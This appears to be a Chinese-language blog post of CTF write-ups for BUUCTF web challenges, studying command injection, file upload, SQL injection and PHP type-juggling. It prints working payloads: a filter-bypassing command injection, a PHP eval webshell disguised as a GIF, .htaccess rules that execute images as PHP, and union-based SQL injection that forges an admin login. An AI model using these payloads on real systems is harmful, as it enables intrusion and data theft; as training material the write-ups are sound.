天天看點

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

[GXYCTF2019]Ping Ping Ping

使用

;

來拼接多條指令

輸入:

?ip=127.0.0.1;ls

發現有flag.php

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

?ip=127.0.0.1;cat index.php

應該是過濾了空格,可以用

$IFS$1

繞過

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

讀取到index.php,F12看過濾了什麼,過濾的很幹淨

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

注意這裡:

preg_match("/.*f.*l.*a.*g.*/", $ip)

這個的意思是比對到按flag這個順序的所有字元

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli
[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

是以我們不按順序就好了:

payload:

/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

[極客大挑戰 2019]Upload

上傳一句話木馬,改包,直接兩個地方一起改

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

提示不能有<?這個标簽,嘗試這樣繞過

<script language="php">

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli
[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

還是不行

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

把檔案字尾用phtml繞過,再嘗試這個

GIF <script language="php">eval($_POST[1])</script>

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

蟻劍連接配接,在根目錄發現flag

[極客大挑戰 2019]BabySQL

萬能密碼輸入,發現or不見了,嘗試雙寫

oorr

,成功

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

盲猜三個字段,直接查回顯,發現被過濾,繼續雙寫

果然!!!

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

接下來就是組合拳了

查庫名,geek

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

查表名,發現過濾掉了where和from

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

是以再雙寫一波from和where,發現or過濾了導緻information也出錯了

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

最後獲得表名b4bsql

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

查詢字段

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

查詢記錄發現居然沒有flag,猜想估計不在這個庫裡面,查詢一下所有的庫名

明顯是這個ctf庫

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli
[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli
[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

最後查詢記錄:

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

[ACTF2020 新生賽]Upload

有js阻撓,直接關閉js就行了,上傳一句話木馬

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

開蟻劍拿到flag

[極客大挑戰 2019]BuyFlag

打開pay頁面,應該是對身份資訊有驗證

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

F12看到了密碼的判斷條件

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

抓包改請求方式為post,他說數字太長了,那就用科學計數法10e10

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

拿到flag

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

[ACTF2020 新生賽]BackupFile

一看到備份檔案我就啪的一下輸入了一個index.php.bak,沒想到真整出來了哈哈哈,掃描都免了

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

           

涉及到一個函數

intval()

,作用是擷取變量的整數值

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

考察php的弱類型

payload:

[BJDCTF2020]Easy MD5

response裡面有hint,給出了sql查詢語句

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

可以發現md5函數第二個參數為true的時候是原始16字元二進制格式

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

有sql語句就肯定逃不了sql注入,就是在md5加密後構造出一個

or

來使判斷為真

看别的wp裡有現成的撿:

有這兩個常見的

129581926211651571912466741651878684928

ffifdyop
           
[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

如果要究其源頭就是寫腳本來跑,為了友善可以直接寫php的腳本來跑,我沒寫,大概思路就是讓MD5加密後的密文比對or這個字元串

第一層payload:

ffifdyop

第二層

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

md5碰撞:

?a=s878926199a&b=s155964671a

第三層:

三個等号,數組繞過

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
           

payload:

param1[]=1&param2[]=2

flag得到

[RoarCTF 2019]Easy Calc

源碼提示通路calc.php,發現正則過濾

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
           

不能給num傳字母參數,繞過waf的方法是在參數名前面加上空格,在伺服器處理url的時候就會自己删去空格

參考

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

接下來就目錄查詢嗎,/被過濾,是以要用chr繞過

payload:

calc.php? num=print_r(scandir(chr(47)));

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

讀取flag

payload:

? num=file_get_contents(chr(47).f1agg)

[HCTF 2018]admin

随便注冊一個登陸進去,發現源代碼裡面說

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

是以就是要僞造admin登陸,一開始我看到可以寫post,就以為是存儲型xss,但是試過了沒有用,繼續檢索,發現了github上的源碼

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

不會做。。。

[MRCTF2020]你傳你🐎呢

名字夠祖安。。

經過burp測試,發現隻有字尾為圖檔格式可以上傳

這裡學到了一個新的操作

.htaccess

檔案

.htaccess檔案(或者"分布式配置檔案"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法,

即,在一個特定的文檔目錄中放置一個包含一個或多個指令的檔案,

以作用于此目錄及其所有子目錄。作為使用者,所能使用的指令受到限制。管理者可以通過Apache的AllowOverride指令來設定。

當.htaccess檔案這樣寫的時候

意思就是把其他類型檔案當php解析

SetHandler application/x-httpd-php
           

也可以這樣寫

意思是把jpg格式當php解析

AddType application/x-httpd-php .jpg
           

注意,上傳.htaccess的時候filename隻能是

.htaccess

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli
[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

連接配接蟻劍拿到flag

[GXYCTF2019]BabySQli

[BUUCTF]web 刷題記錄[GXYCTF2019]Ping Ping Ping[極客大挑戰 2019]Upload[極客大挑戰 2019]BabySQL[ACTF2020 新生賽]Upload[極客大挑戰 2019]BuyFlag[ACTF2020 新生賽]BackupFile[BJDCTF2020]Easy MD5[RoarCTF 2019]Easy Calc[HCTF 2018]admin[MRCTF2020]你傳你🐎呢.htaccess檔案[GXYCTF2019]BabySQli

随便登陸一次,看到源代碼有一段編碼的字元,試了一下是先base32再base64

得到sql語句

過濾了or,但是OR沒有

嘗試後發現,隻有判斷使用者名為admin的時候才有密碼的判斷,不然都是wrong user!

查詢字段數,發現隻有三個字段

進行聯合注入:

admin' union select 1,2,3#

,回顯是wrong pass

看了wp後,學到一些新的操作

猜測:

猜測題目會将原密碼值md5加密後插入資料庫

在進行登入的時候會進行邏輯判斷:目前輸入的密碼進行md5加密後是否與資料庫裡面的相等,如果相等則登陸

由于我們用聯合注入的時候,是繞過了md5加密的,是以我們需要把加密後的密文當成密碼進行注入

聯合注入會建立一條資料,如果引号前還是admin,這存在于資料庫的資料就會直接和pass比對,由于隻能有admin來登陸,是以我們可以構造一條記錄,name為admin,pass為md5加密後的123,這樣就可以了

0' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
           

密碼輸入123,這時候就會拿前面這個md5的密文去和123進行加密後的密文比對,相等則通過